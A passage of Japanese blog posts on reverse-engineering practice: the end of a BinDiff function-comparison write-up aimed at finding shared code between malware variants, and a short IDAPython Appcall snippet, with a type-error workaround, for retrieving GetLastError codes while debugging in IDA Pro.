この関数はSimilarity=0.86, Confidence=0.91と高確度の一致ではありますが、Call treeの構造が似ているだけで中身が全く異なる関数であることが分かりました。つまり、Confidenceが高い関数が同士が類似機能を持つとは一概には言えないようです。

Similarityが高いのはCall treeが類似していることに起因していると思われます。他の関数を確認してみると、Confidenceが高くSimilarityが低い関数同士は機能が類似している傾向があるようです。これら関数の場合は赤枠で示すようにどちらも書込みの機能を有しています。

まとめ

今回BinDiffを使用したことで以下の2点が分かりました。

同一ソースファイルからコンパイルしたバイナリでもアセンブラレベルで大きく構造が変わり得る
Low SimilarityかつHigh Confidenceの関数は類似機能を持つ可能性が高い⇒解析済みのマルウェアとその亜種とを比較し、共通の機能(関数)を洗い出すためにも有効

IDA ProでWin32API実行失敗時のエラーを取得する

Sat, 07 Mar 2020 07:43:20 GMT

IDA Proを使ってバイナリ解析を行っていると、Win32APIが失敗した理由を確認したくなる時ってありますよね。

CreateRemoteThread();のようなWinAPI32関数は実行失敗時には0を返し、失敗の理由はGetLastError();を呼び出すことで確認ができます。

ただ、マルウェア等のプログラムでは関数の呼び出し失敗時に丁寧にGetLastError();が呼ばれる仕様になっていないことが多いため、エラーの理由が分からないときもあります。

そんなとき、以下のIDAPythonで簡単にGetLastError()を呼び出してエラーを確認することができます。

GetLastError()呼び出しIDAPythonスクリプト

Hex blog記事よりPythonのコードを引用しました。

GetLastError()呼び出し

getlasterror = Appcall.proto("kernel32_GetLastError", "DWORD __stdcall GetLastError();")
print "lasterror=", getlasterror()

これをIDA Pro画面最下部にて実行すると下記の様にlasterrorが5であることが確認できます。

MSDNでエラーコード5が ERROR_ACCESS_DENIED であることを確認できます。

https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes—0-499-

ValueError: Could not parse typeエラー回避

解析のタイミングによっては、上記Pythonスクリプト実行時にValueError: Could not parse typeが返りLastErrorが取得できない場合があると思います。

これは、DWORDの型をIDAPythonでパース出来ていないことが理由であろうと思います。

Appcallエラー

Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "C:\Program Files\IDA Pro 7.3\python\ida_idd.py", line 2007, in proto
    tif = Appcall__.__typedecl_or_tinfo(proto_or_tinfo, flags)
  File "C:\Program Files\IDA Pro 7.3\python\ida_idd.py", line 1984, in __typedecl_or_tinfo
    raise ValueError, "Could not parse type: " + typedecl_or_tinfo
ValueError: Could not parse type: DWORD __stdcall GetLastError();

以下の様に、元のスクリプトのDWORDをunsigned longに書き換えてあげると、エラーなしでLastErrorを取得することが出来ます。

エラー回避版GetLastError()呼び出し

getlasterror = Appcall.proto("kernel32_GetLastError", "unsigned long __stdcall GetLastError();")
print "lasterror=", getlasterror()